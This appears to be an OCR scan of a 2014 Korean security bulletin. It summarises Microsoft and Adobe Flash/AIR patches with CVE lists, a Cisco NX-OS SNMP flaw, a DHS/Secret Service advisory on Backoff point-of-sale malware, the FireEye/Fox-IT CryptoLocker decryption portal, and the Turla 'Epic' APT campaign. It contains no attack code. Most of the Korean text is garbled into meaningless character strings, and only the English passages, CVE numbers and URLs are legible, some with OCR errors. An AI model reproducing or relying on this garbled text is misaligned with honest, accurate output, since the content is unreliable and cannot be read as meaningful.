SE5610 ASPNETS 2d2tcH0F EHCt

- Windows Xt AHE2{| FOFHO = Q1% Mot &5 EHT(2988948)
SHZEILICE 0] F{QFHOR Qlol SZAP FBHS Wi A0 228 &

0] oI |0 | E= HIE7iX™ e 2 B 1=l Microsoft Windows2) £|2f&
E4otH 22kt S8 T2 OHES AMlist AL Aot ds0| 5iEE 4 USLICE 0] FHAUHE Ao H SHAP fEst 202 A4 SEHE 71K
28 = glEL

22 2728 4 QI0{0F HLICH 20| AHSKI oML RiZO 2L 0] FoHS o18E 4

- Microsoft Lync Server2| FfEH2 2 QIst AH|A HE X[ (2990928)
Microsoft Lync ServerOf|A EZA%X|0] HIZ7HECE B 0EH FFE 372 siEgLL 0] S 7H a3 FUYEC = Qlol S4AP}

0| H2t HHI0|E=
=HIE0| EdE + USHL.

TolA| Z22&E 2F= Lync Servert| ELii= 4% MH|A AR

- o ZY
Windows UpdateE s=&5tHLT Microsoft E2F SX| Q2F AfO|EN|AM afg fIfE=2] 7HEH2 x| IYEs 2= Be 5 UsUO
http://technet.microsoft.com/ko—kr/library/security/ms14-Sep

. Bh=
https://technet.microsoft.com/en—-us/library/security/ms14-Sep

. gﬂ
L
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Adobe 82 H7| HOI HH|O|E A1
Adobeiit= Adobe Flash Player0ll Ggks = FUES ol &t HO YH|I0|EE YT
SIS A ALEA = AT E M0 Fefeh 4= QIe B 2 SHZARIRH| M2t ELAHTC 2 SHI0|E

- SMEE
- Adobe Flash Player0ilA 24ist= 12712 FAEES aidsot= EOF YH0|ES EEH
- HiE H22] FA 7SS 2EE 5 Us H22| HE =& FE(CVE-2014-0557)
- HOL 71582 238 & U= FH(CVE-2014-0554)
- YOI HMOZ 0|0E £ U= HZ 2] Y shMl(use-after-free) FEH(CVE-2014-0553)
- O|FE MO Z 0|HE 4= QU= H22] &4 FFE(CVE-2014-0547, CVE-2014-0549, CVE-2014-0550, CVE-2014-0551,
CVE-2014- 0552, CVE-2014-0555)
- SY &5 HH(same origin policy)2 238 4= A= FLE(CVE-2014-0548)
- O|TFE MO Z 0|0fZ £ U= & LHUBE L FAUF(CVE-2014-0556, CVE-2014-0559)

- ol 2
- HERE o SHA9| Adobe Flash Player desktop runtime AFEXA= 15.0.0.152 HECZ YHI0|E HE
- HERZX o k49| Adobe Flash Player Extended Support Release AHEXA= 13.0.0.244 HELS E S{C|0|1E HE
- 2lsA 22| Adobe Flash Player AF2AH= 11.2.202.406 HES 2 SH0|E HE
Y= o 2l5A 2142 Adobe Flash Player HOF QIH|0|E XY
: Adobe Flash Player Download Center(http://www.adobe.com/go/getflash)0l| 225t E|A HES XI5 AHs SHI0IES
0lZot(q &1d0|=
-2 3E, CIHYI 9 AEZ22 10 Y 2EYI AAEZ2 110]| Adobe Flash PlayerE 4|8t AF2AH= AHS2 2 A YH0|E XE
- Adobe AIR desktop runtime, SDK 2 SDK&Compiler AF2Xl= 15.0.0.249 HEHCE HOH[0|E XHE
. http://www.adobe.com/devnet/air/air-sdk-download.html0l| 252510 Adobe AIR SDK = Adobe AIR SDK&Compiler £|41 HEZ
=
- QIEZ20|E 2H42| Adobe AIR AHEXL= 15.0.0.252 HEC 2 HHH0IE HE
: Adobe AIR7} EX|E QIEZ0|= Z0j|M ‘12 S2|0| AE0 HL — My HEf — LY OHE2|AH|0[4 MEH —
Adobe AIR IEZ0|= =4l HEC = YH0|E SiHL AHSTHI0IES o180t Y 14|0|=

4” rIr

Cisco NX-OS Software SNMP & | F4H HoF HH|0|E #H 1
CISCOt= Cisco NX-0S2] SNMP ZE0IA st HE @& FOPMS 825t HOt AH|0|ESE WH(CVE-2014-3341)

- JMIEE
SAX7H SNMP Z2E0| BThE Fofeh |0l E2 2lfIAE(request)E HAIZ B2 BE RES FUL +US
otid FAUEM SEE W= HEZ2 2 7E SF S0l S LE = AN FRHTZ YGI0|E HLL

- oiEH

olid FUT0 BT B |2 23A = RAEs BHIE Solt IiX| HE
- ZTAO|E
http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2014-3341
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=X : Threat Post (http://threatpost.com/secret-service-warns-1000-businesses—hit-by-backoff-pos—-malware/107914)

United States
Secret Service

Homeland
Security

ADVISORY

Backoff Malware: Infection Assessment 22 August 2014

Summa

The Department of Homeland Security (DHS) encourages organizations, regardless of size, to proactively
check for possible Point of Sale (PoS) malware infections. One particular family of malware, which was
detected in October 2013 and was not recogmzed by antivirus software solutions until August 2014, has
likely infected many victims who are unaware that they have been compromised.

The National Cybersecurity and Communications Integration Center (NCCIC), United States Secret
Service (Secret Service), and third-party partners issued an advisory on July 31, 2014 regarding PoS
malware dubbed "Backoff” which was discovered exploiting businesses’ administrator accounts remotely
and exfiltrating consumer payment data. Over the past yvear, the Secret Service has responded to network
intrusions at numerous businesses throughout the United States that have been impacted by the “Backoft”
malware. Seven PoS system providers/fvendors have confirmed that they have had multiple clients
affected. Reporting continues on additional compromised locations, involving private sector entities of all
sizes, and the Secret Service curmrently estimates that over 1,000 U.S. businesses are affected.

DHS strongly recommends actively contacting your IT team, antivirus vendor, managed service provider,
and/or point of sale system vendor to assess whether your assets may be vulnerable and/or compromised,
The Secret Service is active in contacting impacted businesses, as they are identified, and continues to
work with and support those businesses that have been impacted by this PoS malware. Companies that
believe they have been the victim of this malware should contact their local Secret Service field office
and may contact the NCCIC for additional information.
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Your Locker of Information for CryptoLocker Decryption

FireEye2} Fox-IT7} &6l IREEFH= QI610] Y=ot E= IIYUL| S+18 ko= "AO|E(https://www.decryptcryptolocker
com/)E 7oLt RV Y=ot H MMYUS Y= E61H, 0| S5 2} ol private keyE LH2Es o~ QUA| =Lt

LESt O] AIO|EN|A = private keyE K E010] IIAUS =32} o 4= QU= ST QST

FireEyeOl A= FEE=7 I0|EH0|A L] BP= Y2t &= MYUSS S0IRCL, 5= HI0[E] S0| /S =+ V| HE0 =210
Allfoh= TAUE Qs 5= UCHT UL ot JHEE=FH HE0| 2ol Yset = 49 S22/ S7ise 5= U = 3iCt,

A= T

=7 : FireEye Blog(http://www fireeye.com/blog/corporate/2014/08/your-locker—of-information—for—cryptolocker—-decryption
html)

FOXIT

FOR & MORE SECURE SOCIETY

)
<®FireEye | of

FireEye and Fox-IT have partnered to provide free keys designed to unlock systems infected by CryptolLocker.
Please provide your email address [1] and an encrypted file [2] that has been encrypted by CryptoLocker.
This portal will then email you a master decryption key along with a download link to our recovery program that can be used together with the master decryption

key to repair all encrypted files on your system.

Please note that each infected system will require its own unigue master decryption key. So in case you have multiple systems compromised by CryptoLocker, you

will need to repeat this procedure per compromised system.

Motes:
[1] Email addresses will not be used for marketing purposes, nor will they be in any way stored by FireEye or Fox-IT.

[2] You should only upload encrypted files that do not contain any sensitive or personally identifiable information.

Email Address

No file selected Choose File

Maximum file size: 16MB

CEl

o
|
Im
[
iy

J

By clicking 'Decrypt it’", you consent to our Terms of Use See our Privacy Policy for details.
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EPIC OPERATION KICKS OFF MULTISTAGE TURLA APT CAMPAIGN

EcH(Turla)= X[E XIX| FE 7|12 AR, 220, S50 52| ol0[4F EFISS eiRith &2 FtATHAT | oA Turlal| M4}
2921 Epics Y733ILL Ol= HM[=2O|0] F2fE R 0]0] THX|7} =IRAHLE YHK[X] 42 FIUESS AESIC,. Epic2 EHAI0| AL|O{I2],
SNS A%, EARO|E HEE & 345 dol= T2 34 HEllE ArEs!

Epic2 T =2 YR &S Turlall SFolal, RAISH d==tHS AFERIL 0| & SEXSE2 A= 8ol UL S 1= LHO|
EMok= A2 HICE, X[Z7IX| 4571 =712 5007l IPF4-2] TohX[7 | ‘2SR, Ot%] £1gd =S0|C}, Windows XP2 Windows
Server 20032| & 7H2| MIZH|0| F2 (CVE-2013-5065) 3 O{=H| 2| F2FH (CVE-2013-3346)0] 0{ED] HSHS A7 |51 At
|,

1002 Ol2| EAIO|EZ} O] Epic AW Z4E =IRAL, 0] S HRE2 AL I A ©AIO|E, FO(L[OL 7| AJO|E, EH|AER
QIFE HAIO|E St 22 AIE 7[HO|C, 022t A0 |EES2 25 TYPO3 ZiEI= 2| A|AEIS 0]F610] 2E £, 0] S3HE2]
FUES SOl SHXE0| e o= UL e 4 &M, HAO|E= H42= [E6~8, =4 A, SeHA| 1 28, 519 Microsoft
Security Essentials 82 T2 8 &F S 02 EfAISS AM5H= AHIAIEEES 2 =56,

£X : Threatpost(http://threatpost.com/epic-operation—kicks-off-multistage-turla—apt-campaign/107612)
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=X : Techweb(http://mo.techweb.com.cn/phone/2014-08-04/2061032.shtml)
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=31 Security-next (http://www.security-next.com/051307)

Rl FENBMAE AEER| AO|E HZ

4k KFSRHE BAPHRESHT QU= HAIIEIM 62 LRE HEE 22 SIOIGHC) 9jHo| SHAN|ER QT & Q= AZ0IUTtD
ST H7} 45t 2 AERERIAC| HT17124S ZASHE AO|E ‘AlEHER| 211712 AIZI0IA 0l OICH

SARFSRION 2J512 630U -7 t0] SHMMA REIE HZR7HUMEI(T, MBS Ui5HT 822U 23A120) MHE
HXISIACL. O] AOIEL{O| U T2 20| HMEEI0IQU= AEHRICE O] AOIES H2I51P QRAJ0IER REE(0] IHU0| CHRRE
E|E S HA0] JAAT SR} YT S0l LHEIO] US THSHE EL

SIANIALS O] AOIEL HRISHT HOIAIRIAZ | XMt AREIO] ChsH ZAFSHT QUCt. 3 |x+o1|x1= AR AR B R
SIOIE| T QK| R4 CHE MEOI M) TISHE SHOIE|T U1 QHi= AB0ICE SAHE WAL 2 242 AF510] AN TCUXHS SOIStaH:
QHHE |2 AlEHO|C

AEES] 22 72 245 21 1 U0 =3 G5t M HSS Als S8

Zx: Nikkei (http://www.nikkei.com/article/DGXLASFL26H7U_W4A820C1000000/)
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